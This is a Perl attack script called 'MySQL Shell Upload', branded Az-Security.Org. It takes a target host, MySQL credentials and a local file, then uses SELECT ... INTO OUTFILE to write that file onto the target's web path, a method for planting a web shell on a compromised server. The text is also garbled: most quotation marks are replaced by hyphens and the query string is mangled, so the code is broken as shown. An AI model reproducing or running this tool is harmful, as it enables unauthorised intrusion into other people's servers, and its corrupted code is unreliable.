MySQL Shell Upload

#!/usr/bin/perl
use strict;
use warnings;
use DBI;
use DBD::mysql;
use IO::File;
use Term::ANSIColor qw(:constants);
sub main(){
print -\n┏━┓┏━┓╋╋╋┏━━━┓╋╋┏┓
┃┃┗┛┃┃╋╋╋┃┏━┓┃╋╋┃┃
┃┏┓┏┓┣┓╋┏┫┗━━┳━━┫┃
┃┃┃┃┃┃┃╋┃┣━━┓┃┏┓┃┃╋┏┓
┃┃┃┃┃┃┗━┛┃┗━┛┃┗┛┃┗━┛┃
┗┛┗┛┗┻━┓┏┻━━━┻━┓┣━━━┛
╋╋╋╋╋┏━┛┃╋╋╋╋╋╋┃┃
╋╋╋╋╋┗━━┛╋╋╋╋╋╋┗┛\n";
print -+++▲ Az-Security.Org ▲\n";
print -+++▲ Az-Security.Org ▲\n\n";
print BOLD BLUE,-\n[*]-,RESET,- [~] Information's Target [~]-;
print -\n\n\n";
print BOLD BLUE,-[*]-,RESET,- Host: -;
chomp(my $host = <stdin>);
print BOLD BLUE,-[*]-,RESET,- User: -;
chomp(my $user = <stdin>);
print BOLD BLUE,-[*]-,RESET,- Password: -;
chomp(my $pass = <stdin>);
print BOLD BLUE,-[*]-,RESET,- File of text , which will be uploaded to host : -;
chomp(my $arq = <stdin>);
print BOLD BLUE,-[*]-,RESET,- Path of site+Name of the final file:  -;
chomp(my $path = <stdin>);
my $dsn = "dbi:mysql::$host:3306";
my $dbh = DBI->connect($dsn, $user, $pass,{
PrintError => 0,
RaiseError => 0
});
if(!$dbh) { die(BOLD RED,-\n[-]-,RESET,- Connection error\n\n"); }
my $f = new IO::File;
$f->open(-<$arq") or die $!;
my @file = <$f>;
chomp(@file);
my $text = join(--,@file);
chomp($text);
&AddSlashes($text);
$f->close;
my $sth = $dbh->prepare('SELECT -- . $text . -- INTO OUTFILE --.$path.---);
if(!$sth->execute()){
print BOLD RED -\n[-]-,RESET,- Failed to make file\n\n";
exit;
} else {
print GREEN -\n[+]-,RESET,- File are create !!!\n\n";
exit;
}
}
sub AddSlashes()
{
    my $text = shift;
    $text =~ s/\\/\\\\/g;
    $text =~ s/-/\\-/g;
    $text =~ s/-/\\-/g;
    $text =~ s/\\0/\\\\0/g;
    return $text;
}
&main();